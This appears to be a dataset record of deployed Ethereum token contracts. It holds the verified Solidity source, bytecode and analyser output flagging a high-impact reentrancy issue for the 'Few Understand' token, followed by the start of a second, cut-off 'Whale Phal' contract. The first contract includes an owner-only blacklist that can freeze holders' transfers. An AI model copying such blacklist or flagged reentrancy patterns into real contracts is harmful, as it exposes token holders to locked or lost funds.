/** *Submitted for verification at Etherscan.io on 2021-11-11 */ /* Few understand. Telegram: https://t.me/FewUnderstandERC Website: https://fewunderstand.net/ */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FewUnderstand is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Few Understand"; string private constant _symbol = "FEW"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x5910b99F9B36d458C6D772c97076701eA91eA5b9); _feeAddrWallet2 = payable(0x5910b99F9B36d458C6D772c97076701eA91eA5b9); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cc578063b515566a146102ec578063c3c8cd801461030c578063c9567bf914610321578063dd62ed3e1461033657600080fd5b806370a0823114610243578063715018a6146102635780638da5cb5b1461027857806395d89b41146102a057600080fd5b8063273123b7116100d1578063273123b7146101d0578063313ce567146101f25780635932ead11461020e5780636fc3eaec1461022e57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101b057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d11995dc8155b99195c9cdd185b9960921b60208201525b60405161014e91906117cb565b60405180910390f35b34801561016357600080fd5b5061017761017236600461166b565b61037c565b604051901515815260200161014e565b34801561019357600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161014e565b3480156101bc57600080fd5b506101776101cb36600461162a565b610393565b3480156101dc57600080fd5b506101f06101eb3660046115b7565b6103fc565b005b3480156101fe57600080fd5b506040516009815260200161014e565b34801561021a57600080fd5b506101f0610229366004611763565b610450565b34801561023a57600080fd5b506101f0610498565b34801561024f57600080fd5b506101a261025e3660046115b7565b6104c5565b34801561026f57600080fd5b506101f06104e7565b34801561028457600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102ac57600080fd5b5060408051808201909152600381526246455760e81b6020820152610141565b3480156102d857600080fd5b506101776102e736600461166b565b61055b565b3480156102f857600080fd5b506101f0610307366004611697565b610568565b34801561031857600080fd5b506101f06105fe565b34801561032d57600080fd5b506101f0610634565b34801561034257600080fd5b506101a26103513660046115f1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103893384846109fd565b5060015b92915050565b60006103a0848484610b21565b6103f284336103ed856040518060600160405280602881526020016119b7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e6e565b6109fd565b5060019392505050565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260040161042690611820565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047a5760405162461bcd60e51b815260040161042690611820565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b857600080fd5b476104c281610ea8565b50565b6001600160a01b03811660009081526002602052604081205461038d90610f2d565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161042690611820565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610389338484610b21565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161042690611820565b60005b81518110156105fa576001600660008484815181106105b6576105b6611967565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611936565b915050610595565b5050565b600c546001600160a01b0316336001600160a01b03161461061e57600080fd5b6000610629306104c5565b90506104c281610fb1565b6000546001600160a01b0316331461065e5760405162461bcd60e51b815260040161042690611820565b600f54600160a01b900460ff16156106b85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610426565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f830826b033b2e3c9fd0803ce80000006109fd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076991906115d4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e991906115d4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561083157600080fd5b505af1158015610845573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086991906115d4565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610899816104c5565b6000806108ae6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561091157600080fd5b505af1158015610925573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061094a919061179d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109c557600080fd5b505af11580156109d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fa9190611780565b6001600160a01b038316610a5f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b038216610ac05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b855760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b038216610be75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b60008111610c495760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610426565b6002600a556008600b556000546001600160a01b03848116911614801590610c7f57506000546001600160a01b03838116911614155b15610e5e576001600160a01b03831660009081526006602052604090205460ff16158015610cc657506001600160a01b03821660009081526006602052604090205460ff16155b610ccf57600080fd5b600f546001600160a01b038481169116148015610cfa5750600e546001600160a01b03838116911614155b8015610d1f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d345750600f54600160b81b900460ff165b15610d9157601054811115610d4857600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6c57600080fd5b610d7742601e6118c6565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dbc5750600e546001600160a01b03848116911614155b8015610de157506001600160a01b03831660009081526005602052604090205460ff16155b15610df1576002600a908155600b555b6000610dfc306104c5565b600f54909150600160a81b900460ff16158015610e275750600f546001600160a01b03858116911614155b8015610e3c5750600f54600160b01b900460ff165b15610e5c57610e4a81610fb1565b478015610e5a57610e5a47610ea8565b505b505b610e6983838361113a565b505050565b60008184841115610e925760405162461bcd60e51b815260040161042691906117cb565b506000610e9f848661191f565b95945050505050565b600c546001600160a01b03166108fc610ec2836002611145565b6040518115909202916000818181858888f19350505050158015610eea573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f05836002611145565b6040518115909202916000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6000600854821115610f945760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610426565b6000610f9e611187565b9050610faa8382611145565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff957610ff9611967565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104d57600080fd5b505afa158015611061573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108591906115d4565b8160018151811061109857611098611967565b6001600160a01b039283166020918202929092010152600e546110be91309116846109fd565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110f7908590600090869030904290600401611855565b600060405180830381600087803b15801561111157600080fd5b505af1158015611125573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e698383836111aa565b6000610faa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112a1565b60008060006111946112cf565b90925090506111a38282611145565b9250505090565b6000806000806000806111bc87611317565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111ee9087611374565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121d90866113b6565b6001600160a01b03891660009081526002602052604090205561123f81611415565b611249848361145f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128e91815260200190565b60405180910390a3505050505050505050565b600081836112c25760405162461bcd60e51b815260040161042691906117cb565b506000610e9f84866118de565b60085460009081906b033b2e3c9fd0803ce80000006112ee8282611145565b82101561130e575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113348a600a54600b54611483565b9250925092506000611344611187565b905060008060006113578e8787876114d8565b919e509c509a509598509396509194505050505091939550919395565b6000610faa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6e565b6000806113c383856118c6565b905083811015610faa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610426565b600061141f611187565b9050600061142d8383611528565b3060009081526002602052604090205490915061144a90826113b6565b30600090815260026020526040902055505050565b60085461146c9083611374565b60085560095461147c90826113b6565b6009555050565b600080808061149d60646114978989611528565b90611145565b905060006114b060646114978a89611528565b905060006114c8826114c28b86611374565b90611374565b9992985090965090945050505050565b60008080806114e78886611528565b905060006114f58887611528565b905060006115038888611528565b90506000611515826114c28686611374565b939b939a50919850919650505050505050565b6000826115375750600061038d565b60006115438385611900565b90508261155085836118de565b14610faa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610426565b80356115b281611993565b919050565b6000602082840312156115c957600080fd5b8135610faa81611993565b6000602082840312156115e657600080fd5b8151610faa81611993565b6000806040838503121561160457600080fd5b823561160f81611993565b9150602083013561161f81611993565b809150509250929050565b60008060006060848603121561163f57600080fd5b833561164a81611993565b9250602084013561165a81611993565b929592945050506040919091013590565b6000806040838503121561167e57600080fd5b823561168981611993565b946020939093013593505050565b600060208083850312156116aa57600080fd5b823567ffffffffffffffff808211156116c257600080fd5b818501915085601f8301126116d657600080fd5b8135818111156116e8576116e861197d565b8060051b604051601f19603f8301168101818110858211171561170d5761170d61197d565b604052828152858101935084860182860187018a101561172c57600080fd5b600095505b8386101561175657611742816115a7565b855260019590950194938601938601611731565b5098975050505050505050565b60006020828403121561177557600080fd5b8135610faa816119a8565b60006020828403121561179257600080fd5b8151610faa816119a8565b6000806000606084860312156117b257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117f8578581018301518582016040015282016117dc565b8181111561180a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118a55784516001600160a01b031683529383019391830191600101611880565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118d9576118d9611951565b500190565b6000826118fb57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561191a5761191a611951565b500290565b60008282101561193157611931611951565b500390565b600060001982141561194a5761194a611951565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c257600080fd5b80151581146104c257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207cb7bc1d5e02e07cc8075ae8caf2418f8b82520eb33e7d1e9999de413b17d5b464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
418
0x81fd787a4808209a98ee53075441b8eb9ce6b7e5
pragma solidity "0.4.24"; interface Icollectible { function timeofcontract() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Collectible is Icollectible { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns(string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns(string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns(uint8) { return _decimals; } } contract WhalePhal is Collectible, Ownable { string constant TOKEN_NAME = "Whale Phal"; string constant TOKEN_SYMBOL = "PHAL"; uint8 constant TOKEN_DECIMALS = 5; uint256 timenow = now; uint256 sandclock; uint256 thefinalclock = 0; uint256 shifter = 0; uint256 TOTAL_SUPPLY = 300000 * (10 ** uint256(TOKEN_DECIMALS)); mapping(address => uint256) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => uint256) timesheet; constructor() public payable Collectible(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS) Ownable() { _mint(owner(), TOTAL_SUPPLY); } using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address => uint256) private _timesheet; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } function timeofcontract() public view returns (uint256) { return timenow; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function timesheetNumber(address owner) public view returns (uint256) { return _timesheet[owner]; } function timesheetCheck(address owner) public view returns (bool) { if (now >= _timesheet[owner] + (1 * 180 days)) { return true; } else if (_timesheet[owner] == 0) { return true; } else { return false; } } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function calculatetimepercentage() public returns (uint256) { if (now >= timenow + (1 * 365 days) && _totalSupply >= 26000000000 && now <= timenow + (1 * 1460 days)) { sandclock = 1; shifter = 1; return sandclock; } else if (now >= timenow + (1 * 730 days) && _totalSupply >= 22000000000 && shifter == 1 && now <= timenow + (1 * 1825 days)) { sandclock = 2; shifter = 2; return sandclock; } else if (now >= timenow + (1 * 1095 days) && _totalSupply >= 20000000000 && shifter == 2) { sandclock = 0; thefinalclock = 1; return thefinalclock; } else { sandclock = 0; return sandclock; } } function findPercentage() public returns (uint256) { uint256 percentage; calculatetimepercentage(); if (sandclock == 1) { percentage = 7; return percentage; } else if (sandclock == 2) { percentage = 10; return percentage; } else if (thefinalclock == 1) { percentage = 0; return percentage; } else if (now <= timenow + (1 * 365 days)) { percentage = 4; return percentage; } else if (now <= timenow + (1 * 730 days)) { percentage = 5; return percentage; } else if (now <= timenow + (1 * 1095 days)) { percentage = 7; return percentage; } else if (now <= timenow + (1 * 1460 days)){ percentage = 8; return percentage; } else if (now <= timenow + (1 * 1825 days)) { percentage = 10; return percentage; } else { percentage = 0; return percentage; } } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); require(value <= 1000000 || msg.sender == owner()); require(balanceOf(to) <= (_totalSupply / 10)); _balances[msg.sender] = _balances[msg.sender].sub(value); uint256 fee = findPercentage(); uint256 receivedTokens = value; uint256 take; if (timesheetCheck(msg.sender) == true) { take = 0; } else if (fee == 0) { take = 0; } else if (msg.sender == owner()) { take = 0; } else { take = value / fee; receivedTokens = value - take; } _balances[to] = _balances[to].add(receivedTokens); if(_totalSupply > 0){ _totalSupply = _totalSupply - take; } emit Transfer(msg.sender, to, receivedTokens); _timesheet[msg.sender] = now; return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); require(value <= 1000000 || msg.sender == owner()); require(balanceOf(to) <= (_totalSupply / 10)); _balances[from] = _balances[from].sub(value); uint256 fee = findPercentage(); uint256 receivedTokens = value; uint256 take; if (timesheetCheck(msg.sender) == true) { take = 0; } else if (fee == 0) { take = 0; } else if (msg.sender == owner()) { take = 0; } else { take = value / fee; receivedTokens = value - take; } _balances[to] = _balances[to].add(receivedTokens); _totalSupply = _totalSupply - take; _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, receivedTokens); _timesheet[msg.sender] = now; return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param amount The amount that will be created. */ function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param amount The amount that will be burnt. */ function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); 